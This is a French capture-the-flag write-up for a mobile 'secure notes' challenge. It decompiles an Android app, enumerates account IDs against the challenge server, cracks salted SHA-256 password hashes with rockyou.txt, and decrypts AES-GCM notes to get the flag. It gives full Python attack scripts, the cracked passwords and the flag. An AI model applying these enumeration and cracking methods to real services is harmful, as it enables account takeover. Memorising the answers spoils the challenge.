mobisec
Catégorie: Mobile Difficulté: Moyen Flag: CTF{77cd55d22ef0d516a45ed0e238fbc5dbc4c93b0824047ea3e0a0509a5a9735ac}
Challenge
Description
Secure note-taking app.
You are given a wordlist. Furthermore rockyou.txt may be of use.
Note that the initial data on the server was stored differently, and decryption should take in consideration:
nonce, tag, ciphertext = encrypted_data[:16], encrypted_data[16:32], encrypted_data[32:]
Use pycryptodome
and default key derivation hashing algorithm.
Ce challenge tourne sur un docker et n'est pas disponible
Solution
La première chose à faire est de décompiler l'apk. Dans sources/com/example/flagen
on trouve les fichiers Java important.
Reverse de l'application
Dans NotesActivity.java
on trouve la fonction qui sert à faire les requêtes HTTP, on voit qu'elle ajoute l'entête X-MOBISEC=ef75826d9de13292593aa57f82a7763d
et un identifiant unique de type UUID à la fin de l'url
public final HttpURLConnection n(String method, String path) {
StringBuilder url = new StringBuilder("http://");
url.append(this.host);
url.append(":");
url.append(this.port);
url.append(path);
SharedPreferences sharedPreferences = getSharedPreferences("unique_id_prefs", 0);
String uniqueId = sharedPreferences.getString("unique_id", (String) null);
// Création du UUID si aucun n'est définit dans les préférences
if (uniqueId == null) {
uniqueId = UUID.randomUUID().toString();
SharedPreferences.Editor prefEdit = sharedPreferences.edit();
prefEdit.putString("unique_id", uniqueId);
prefEdit.apply();
}
// Ajout du UUID
url.append(uniqueId);
HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(url.toString()).openConnection();
httpURLConnection.setConnectTimeout(20000);
httpURLConnection.setReadTimeout(20000);
httpURLConnection.setRequestMethod(method);
// Ajout de l'entête
httpURLConnection.setRequestProperty("X-MOBISEC", "ef75826d9de13292593aa57f82a7763d");
httpURLConnection.setRequestProperty("Accept", "application/json");
return httpURLConnection;
}
Une autre fonction intéressante est celle qui sert de hashage :
public static String o(String str) {
try {
byte[] digest = MessageDigest.getInstance("SHA-256").digest(("LbhXabjVaCenpgvprFnygfNerHavdhrylTrarengrqSbeRirelCnffOhgVzGbbYnmlGbPbqrGung:)" + str).getBytes());
StringBuilder hexFormat = new StringBuilder();
for (byte b : digest) {
String hex = Integer.toHexString(b & 255);
if (hex.length() == 1) hexFormat.append("0");
hexFormat.append(hex);
}
return hexFormat.toString();
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
}
En cherchant les fichiers utilisant NotesActivity
, on trouve sources\z0\a.java
qui utilise la fonction de requêtes HTTP pour faire un GET
sur l'endpoint /api/v1/acc/pass/
.
String hash = new JSONObject(sb.toString()).getJSONObject("secret").getString("hash");
String password = ((TextView) notesActivity.findViewById(R.id.password)).getText().toString();
if (!hash.isEmpty()) {
if (!NotesActivity.o(password).equals(hash)) {
new Handler(Looper.getMainLooper()).post(new e(8, notesActivity));
}
}
notesActivity.password = password;
Ce passage vérifie que le hash du password entré est le même que celui renvoyé par le serveur.
On a également une fonction intérressante dans le même fichier :
HttpURLConnection request = notesActivity3.n("GET", "/api/v1/sec/");
BufferedReader bufferedReader2 = new BufferedReader(new InputStreamReader(request.getInputStream()));
StringBuilder response = new StringBuilder();
while (true) {
String readLine2 = bufferedReader2.readLine();
if (readLine2 != null) {
response.append(readLine2);
} else {
request.disconnect();
((TextView) notesActivity3.findViewById(R.id.secretText)).setText(new String(z1.a.J(notesActivity3.password, Base64.decode(new JSONObject(response.toString()).getJSONObject("secret").getString("text"), 0)), StandardCharsets.UTF_8));
}
}
Ici on récupère un secret sur le serveur, on le décode en base64 puis on le passe dans la fonction z1.a.J() avec le mot de passe. Pour déchiffrer un secret on a donc visiblement besoin des mots de passe.
Regardons cette fonction :
public static byte[] J(String password, byte[] ciphertext) {
byte[] salt= "0123456789abcdef".getBytes();
byte[] nonce = Arrays.copyOfRange(ciphertext, 0, 12);
byte[] cipher_tag= Arrays.copyOfRange(ciphertext, 12, ciphertext.length);
SecretKeySpec secretKeySpec = new SecretKeySpec(SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256").generateSecret(new PBEKeySpec(password.toCharArray(), salt, 100000, 256)).getEncoded(), "AES");
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
cipher.init(2, secretKeySpec, new GCMParameterSpec(128, nonce));
return cipher.doFinal(cipher_tag);
}
On utilise PBKDF2 (une méthode pour dériver un secret) avec la fonction de hashage SHA256
, le sel 0123456789abcdef
et 100000
itérations. On génère un secret dérivé de 256
bits.
Ce secret dérivé est utilisé pour déchiffrer avec de l'AES en mode GCM. Le nonce du GCM est situé sur les 12 premiers octets du ciphertext, on a également le tag (qui sert de vérification) situé sur les 16 derniers octets. Le véritable ciphertext est situé entre les deux. En gros :
nonce, ciphertext, tag = ciphertext[:12], ciphertext[12:-16], ciphertext[-16:]
Récupération des comptes existants
On va tester les UUID présents dans wordlist.txt pour récupérer ceux qui possède un hash et un secret :
import json
import requests
HOST = '35.242.231.98'
PORT = 30512
def request(method: str, path: str, uuid: str):
headers = {
'X-MOBISEC': 'ef75826d9de13292593aa57f82a7763d',
'Accept': 'application/json'
}
url = f'http://{HOST}:{PORT}{path}{uuid}'
return requests.request(method=method, url=url, headers=headers).json()
def main():
with open('wordlist.txt', 'r') as f:
uuids = f.read().splitlines()
accounts = []
for uuid in uuids:
_hash = request('GET', '/api/v1/acc/pass/', uuid)['secret']['hash']
if _hash:
account = {'uuid': uuid, 'hash': _hash}
_secret = request('GET', '/api/v1/sec/', uuid)['secret']['text']
if _secret:
account['secret'] = _secret
accounts.append(account)
print(json.dumps(accounts, indent=2))
if __name__ == '__main__':
main()
[
{
"uuid": "c8d8a726-a7c2-4b13-98a4-15f9c3831ef4",
"hash": "77518b39e620ac271bfc58639796160cb3984af0a3e5f4367230ad768855e8e7",
"secret": "HYXP4Wj2c51+5RErPH29pfb0hmdnz/QZNNIxwH3dFi+5KO9n1dPWGXR6yCPB7Z4CeZ7cuMFZzXVfvqEtvvFlR2Tg5NOD6rk9azaZ"
},
{
"uuid": "f79dd76f-2ce4-420f-bf46-f0ba82af04fb",
"hash": "87bcb0554d72bd277ae6c2795b8e09e03c56ed4314352449c3d371b70cdc1ea8",
"secret": "QEL9U16s9VK4mI5iRdTEBQFzw13s877sE0f4SedWhfq18XvWRW/gvi5xoCMh9zNQTiWu2AwQN8M1zLKpPEAh8z+9VSSDQ+j3Xl9fCqgRBfbPZc+G/7zZK5XE5koKkZxad6a5qa8="
},
{
"uuid": "4d1713c1-ef9e-46b1-9fee-9ac57d4180b8",
"hash": "e045171f3d3d93ee538b4673f7b5184bfd7d9eaa200f29f81ae1b7123a32ebca",
"secret": "MM7Kh/WU5cbbxU/H+FGRA07teK5vJHctdSNe7X60rs2qtgG+t//T/WX4HmWz+q8Nhzg="
}
]
Cassage de mot de passe
3 comptes parmis les uuid dans wordlist.txt
existes, il faut maintenant casser leur hash avec un bruteforce. Comme indiqué dans la description, on part sur rockyou.txt
:
from hashlib import sha256
import json
import requests
HOST = '35.242.231.98'
PORT = 30512
ACCOUNTS = [
{
"uuid": "c8d8a726-a7c2-4b13-98a4-15f9c3831ef4",
"hash": "77518b39e620ac271bfc58639796160cb3984af0a3e5f4367230ad768855e8e7"
},
{
"uuid": "f79dd76f-2ce4-420f-bf46-f0ba82af04fb",
"hash": "87bcb0554d72bd277ae6c2795b8e09e03c56ed4314352449c3d371b70cdc1ea8"
},
{
"uuid": "4d1713c1-ef9e-46b1-9fee-9ac57d4180b8",
"hash": "e045171f3d3d93ee538b4673f7b5184bfd7d9eaa200f29f81ae1b7123a32ebca"
}
]
def request(method: str, path: str, uuid: str):
headers = {
'X-MOBISEC': 'ef75826d9de13292593aa57f82a7763d',
'Accept': 'application/json'
}
url = f'http://{HOST}:{PORT}{path}{uuid}'
return requests.request(method=method, url=url, headers=headers).json()
def hashing(s: bytes) -> str:
return sha256(b'LbhXabjVaCenpgvprFnygfNerHavdhrylTrarengrqSbeRirelCnffOhgVzGbbYnmlGbPbqrGung:)' + s).hexdigest()
def main():
to_find = len(ACCOUNTS)
found = 0
with open('E:/Downloads/rockyou.txt', 'rb') as f:
for password in f:
if password == b'':
break
password = password.strip(b'\n')
_hash = hashing(password)
for account in ACCOUNTS:
if account['hash'] == _hash:
account['password'] = password.decode()
found += 1
if found == to_find:
break
print(json.dumps(ACCOUNTS, indent=2))
if __name__ == '__main__':
main()
[
{
"uuid": "c8d8a726-a7c2-4b13-98a4-15f9c3831ef4",
"hash": "77518b39e620ac271bfc58639796160cb3984af0a3e5f4367230ad768855e8e7",
"secret": "HYXP4Wj2c51+5RErPH29pfb0hmdnz/QZNNIxwH3dFi+5KO9n1dPWGXR6yCPB7Z4CeZ7cuMFZzXVfvqEtvvFlR2Tg5NOD6rk9azaZ",
"password": "86390627"
},
{
"uuid": "f79dd76f-2ce4-420f-bf46-f0ba82af04fb",
"hash": "87bcb0554d72bd277ae6c2795b8e09e03c56ed4314352449c3d371b70cdc1ea8",
"secret": "QEL9U16s9VK4mI5iRdTEBQFzw13s877sE0f4SedWhfq18XvWRW/gvi5xoCMh9zNQTiWu2AwQN8M1zLKpPEAh8z+9VSSDQ+j3Xl9fCqgRBfbPZc+G/7zZK5XE5koKkZxad6a5qa8=",
"password": "SHALLOWgrounds13"
},
{
"uuid": "4d1713c1-ef9e-46b1-9fee-9ac57d4180b8",
"hash": "e045171f3d3d93ee538b4673f7b5184bfd7d9eaa200f29f81ae1b7123a32ebca",
"secret": "MM7Kh/WU5cbbxU/H+FGRA07teK5vJHctdSNe7X60rs2qtgG+t//T/WX4HmWz+q8Nhzg=",
"password": "killerpink007"
}
]
Récupération des secrets
Maintenant que l'on connaît les mots de passe, on peut déchiffrer les secrets ?
Eh bien non, il y a eu un GROS foirage dans le CTF et la façon dont sont stockés les secrets (et donc le flag) sur le serveur n'est pas la même que celle sur l'application.
Il faut utiliser PBKDF2 avec SHA1 (et pas SHA256) et ensuite, comme indiqué dans la description (changée 2 fois en 2j de CTF), le nonce, le tag et le ciphertext sont placé différemment.
from hashlib import sha256, pbkdf2_hmac
import json
from base64 import b64decode
from Crypto.Cipher import AES
ACCOUNTS = [
{
"uuid": "c8d8a726-a7c2-4b13-98a4-15f9c3831ef4",
"hash": "77518b39e620ac271bfc58639796160cb3984af0a3e5f4367230ad768855e8e7",
"secret": "HYXP4Wj2c51+5RErPH29pfb0hmdnz/QZNNIxwH3dFi+5KO9n1dPWGXR6yCPB7Z4CeZ7cuMFZzXVfvqEtvvFlR2Tg5NOD6rk9azaZ",
"password": "86390627"
},
{
"uuid": "f79dd76f-2ce4-420f-bf46-f0ba82af04fb",
"hash": "87bcb0554d72bd277ae6c2795b8e09e03c56ed4314352449c3d371b70cdc1ea8",
"secret": "QEL9U16s9VK4mI5iRdTEBQFzw13s877sE0f4SedWhfq18XvWRW/gvi5xoCMh9zNQTiWu2AwQN8M1zLKpPEAh8z+9VSSDQ+j3Xl9fCqgRBfbPZc+G/7zZK5XE5koKkZxad6a5qa8=",
"password": "SHALLOWgrounds13"
},
{
"uuid": "4d1713c1-ef9e-46b1-9fee-9ac57d4180b8",
"hash": "e045171f3d3d93ee538b4673f7b5184bfd7d9eaa200f29f81ae1b7123a32ebca",
"secret": "MM7Kh/WU5cbbxU/H+FGRA07teK5vJHctdSNe7X60rs2qtgG+t//T/WX4HmWz+q8Nhzg=",
"password": "killerpink007"
}
]
def decrypt(password: str, encrypted_data: bytes):
nonce, tag, ciphertext = encrypted_data[:16], encrypted_data[16:32], encrypted_data[32:]
key = pbkdf2_hmac(hash_name='sha1', password=password.encode(), salt=b'0123456789abcdef', iterations=100000, dklen=256//8)
cipher = AES.new(key, AES.MODE_GCM, nonce)
return cipher.decrypt_and_verify(ciphertext=ciphertext, received_mac_tag=tag).decode()
def main():
for account in ACCOUNTS:
account['text'] = decrypt(account['password'], b64decode(account['secret']))
print(json.dumps(ACCOUNTS, indent=2))
if __name__ == '__main__':
main()
[
{
"uuid": "c8d8a726-a7c2-4b13-98a4-15f9c3831ef4",
"hash": "77518b39e620ac271bfc58639796160cb3984af0a3e5f4367230ad768855e8e7",
"secret": "HYXP4Wj2c51+5RErPH29pfb0hmdnz/QZNNIxwH3dFi+5KO9n1dPWGXR6yCPB7Z4CeZ7cuMFZzXVfvqEtvvFlR2Tg5NOD6rk9azaZ",
"password": "86390627",
"text": "Secret cookie recipe: ... (in construction)"
},
{
"uuid": "f79dd76f-2ce4-420f-bf46-f0ba82af04fb",
"hash": "87bcb0554d72bd277ae6c2795b8e09e03c56ed4314352449c3d371b70cdc1ea8",
"secret": "QEL9U16s9VK4mI5iRdTEBQFzw13s877sE0f4SedWhfq18XvWRW/gvi5xoCMh9zNQTiWu2AwQN8M1zLKpPEAh8z+9VSSDQ+j3Xl9fCqgRBfbPZc+G/7zZK5XE5koKkZxad6a5qa8=",
"password": "SHALLOWgrounds13",
"text": "CTF{77cd55d22ef0d516a45ed0e238fbc5dbc4c93b0824047ea3e0a0509a5a9735ac}"
},
{
"uuid": "4d1713c1-ef9e-46b1-9fee-9ac57d4180b8",
"hash": "e045171f3d3d93ee538b4673f7b5184bfd7d9eaa200f29f81ae1b7123a32ebca",
"secret": "MM7Kh/WU5cbbxU/H+FGRA07teK5vJHctdSNe7X60rs2qtgG+t//T/WX4HmWz+q8Nhzg=",
"password": "killerpink007",
"text": "I'm using Arch btw"
}
]
A noter le "I'm using Arch btw" pour un challenge avec autant de bug, ça fait sourire
Dernière mise à jour
Cet article vous a-t-il été utile ?